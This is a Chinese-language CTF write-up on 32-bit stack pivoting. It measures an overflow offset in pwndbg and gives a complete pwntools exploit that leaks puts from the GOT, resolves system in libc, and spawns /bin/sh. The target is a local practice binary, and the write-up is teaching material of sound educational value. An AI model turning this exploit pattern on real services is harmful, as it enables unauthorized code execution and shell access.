参考资料https://blog.csdn.net/qq_38154820/article/details/106330238
原理
栈迁移的技巧是劫持栈指针执行攻击者所能控制的内存,在相应位置进行ROP,来解决栈溢出空间大小不足的问题
我们进入一个 函数的时候,会执行call指令
call func(); //push eip+4; push ebp; mov ebp,esp;
call func() 执行完要退出的时候要进行与call func相反的操作(恢复现场)维持栈平衡!
leave; //mov esp,ebp; pop ebp;
ret ; // pop eip
栈迁移 的核心思想就是 将栈 的 esp 和 ebp 转移到一个 输入不受长度限制的 且可控制 的 址处,通常是 bss 段地址! 在最后 ret 的时候 如果我们能够控制得 了 栈顶 esp指向的地址 就想到于 控制了 程序执行流!
32位程序栈迁移
检查保护
fanfan@ubuntu:~$ cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
pwndbg> r
Starting program: /home/fanfan/pwn challenges/migration
Try your best :
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
Program received signal SIGSEGV, Segmentation fault.
0x6161616c in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[ REGISTERS / show-flags off / show-compact-regs off ]
*EAX 0x40
EBX 0x0
*ECX 0xffffd4d0 ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaa'
*EDX 0x40
*EDI 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
*ESI 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
*EBP 0x6161616b ('kaaa')
*ESP 0xffffd500 ◂— 'maaanaaaoaaapaaa'
*EIP 0x6161616c ('laaa')
────────[ DISASM / i386 / set emulate on ]─────────
Invalid address 0x6161616c
─────────────────────[ STACK ]─────────────────────
00:0000│ esp 0xffffd500 ◂— 'maaanaaaoaaapaaa'
01:0004│ 0xffffd504 ◂— 'naaaoaaapaaa'
02:0008│ 0xffffd508 ◂— 'oaaapaaa'
03:000c│ 0xffffd50c ◂— 'paaa'
04:0010│ 0xffffd510 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
05:0014│ 0xffffd514 —▸ 0xf7ffd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x2bf24
06:0018│ 0xffffd518 —▸ 0xffffd578 —▸ 0xffffd594 —▸ 0xffffd6f5 ◂— '/home/fanfan/pwn challenges/migration'
07:001c│ 0xffffd51c ◂— 0x0
───────────────────[ BACKTRACE ]───────────────────
► f 0 0x6161616c
f 1 0x6161616d
f 2 0x6161616e
f 3 0x6161616f
f 4 0x61616170
───────────────────────────────────────────────────
fanfan@ubuntu:~$ cyclic -l 0x6161616c
44
手动测量栈偏移量为44(0x2C),这说明变量buf距离main函数的返回地址为0x2C,那么距离EBP(栈底)的距离为(0x2C-4=0x28=40),从read(0,&buf,0x40u),read函数可以读取0x40的内容放在buf(0x28)中,说明我们只能控制0x40-0x28=24的内容,再加上我们的payload需要泄露libc文件得到system的地址,空间太少了,所以只能进行栈迁移。
构造payload
exp
先把exp放在这,方便解释
from pwn import *
io=process('./migration')
elf=ELF('./migration')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
context.log_level="debug"
buf=elf.bss()+0x500
buf1=elf.bss()+0x400
read_plt=elf.plt['read']
leave_ret=0x08048418
# 0x08048418 : leave ; ret
pay1=b'a'*(0x28)+p32(buf)
pay1+=p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf)+p32(0x100)
io.sendafter('Try your best :\n',pay1)
puts_plt=elf.plt['puts']
pop1ret=0x0804836d
# 0x0804836d : pop ebx ; ret
puts_got=elf.got['puts']
pay2=p32(buf1)+p32(puts_plt)+p32(pop1ret)+p32(puts_got)
pay2+=p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf1)+p32(0x100)
io.sendline(pay2)
puts_addr=u32(io.recv(4))
success("puts_addr = "+hex(puts_addr))
libcbase=puts_addr-libc.symbols['puts']
system_addr=libcbase+libc.symbols['system']
pop3ret=0x08048569
# 0x08048569 : pop esi ; pop edi ; pop ebp ; ret
pay3=p32(buf)+p32(read_plt)+p32(pop3ret)+p32(0)+p32(buf)+p32(0x100)
pay3+=p32(system_addr)+p32(0xdeadbeef)+p32(buf)
io.sendline(pay3)
io.sendline("/bin/sh\x00")
io.interactive()